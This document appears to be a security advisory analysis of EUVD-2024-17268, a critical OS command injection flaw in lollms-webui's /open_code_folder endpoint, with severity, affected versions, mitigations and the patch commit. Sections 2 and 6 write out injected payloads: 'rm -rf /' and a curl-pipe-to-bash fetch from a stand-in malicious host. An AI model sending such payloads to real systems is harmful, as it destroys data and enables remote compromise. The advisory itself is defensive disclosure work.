EUVD-2024-17268

Comprehensive Technical Analysis of EUVD-2024-17268

1. Vulnerability Assessment and Severity Evaluation

The vulnerability described in EUVD-2024-17268 is an OS Command Injection vulnerability in the /open_code_folder endpoint of the parisneo/lollms-webui application. This vulnerability arises due to improper validation of user-supplied input in the discussion_id parameter, allowing attackers to inject malicious OS commands. The severity of this vulnerability is rated with a CVSS Base Score of 9.8, which is considered critical. The CVSS vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H indicates that the vulnerability can be exploited remotely (AV:N), requires low complexity (AC:L), does not need privileges (PR:N) or user interaction (UI:N), and has a high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).

2. Potential Attack Vectors and Exploitation Methods

Attackers can exploit this vulnerability by crafting a malicious input for the discussion_id parameter that includes OS commands. For example, an attacker could inject commands such as ; rm -rf / to delete files or ; curl http://malicious.com/payload | bash to download and execute a malicious payload. The lack of proper input validation allows these commands to be executed on the underlying operating system, leading to unauthorized command execution.

3. Affected Systems and Software Versions

The vulnerability affects the parisneo/lollms-webui application. Specifically, it impacts versions prior to 9.1. The ENISA ID Product entries indicate that the vulnerability is present in unspecified versions less than 9.1 and potentially other versions as well. Organizations using these versions are at risk and should prioritize updating to a patched version.

4. Recommended Mitigation Strategies

To mitigate this vulnerability, the following steps are recommended:

• Update to the Latest Version: Ensure that the parisneo/lollms-webui application is updated to version 9.1 or later, which includes the fix for this vulnerability.
• Input Validation: Implement robust input validation and sanitization for all user-supplied inputs, especially those used in OS commands.
• Least Privilege Principle: Run the application with the least privileges necessary to minimize the impact of a successful exploit.
• Monitoring and Logging: Enable comprehensive logging and monitoring to detect and respond to any suspicious activities.
• Network Segmentation: Implement network segmentation to limit the spread of potential attacks.

5. Impact on European Cybersecurity Landscape

The presence of this critical vulnerability in a widely used application like parisneo/lollms-webui poses a significant risk to European organizations. The potential for unauthorized command execution can lead to data breaches, system compromises, and other severe security incidents. This underscores the importance of timely patching, robust security practices, and continuous monitoring to protect against such vulnerabilities.

6. Technical Details for Security Professionals

• Vulnerability Identification: The vulnerability is identified by EUVD-2024-17268, CVE-2024-1520, and GSD-2024-1520.
• Affected Endpoint: The /open_code_folder endpoint is vulnerable due to improper validation of the discussion_id parameter.
• Exploitation: Attackers can inject OS commands by manipulating the discussion_id parameter. For example:

  /open_code_folder?discussion_id=123; rm -rf /
  

• Patch Information: The vulnerability has been addressed in the commit 2497d1a4fe5a09f003bf7a9bc426139e9295a934 on the GitHub repository.
• References:
  • Huntr Bounty
  • GitHub Commit

Conclusion

The OS Command Injection vulnerability in the parisneo/lollms-webui application is critical and requires immediate attention. Organizations should prioritize updating to the latest patched version and implement robust security measures to mitigate the risk. Continuous monitoring and adherence to best security practices are essential to protect against such vulnerabilities and maintain a strong cybersecurity posture.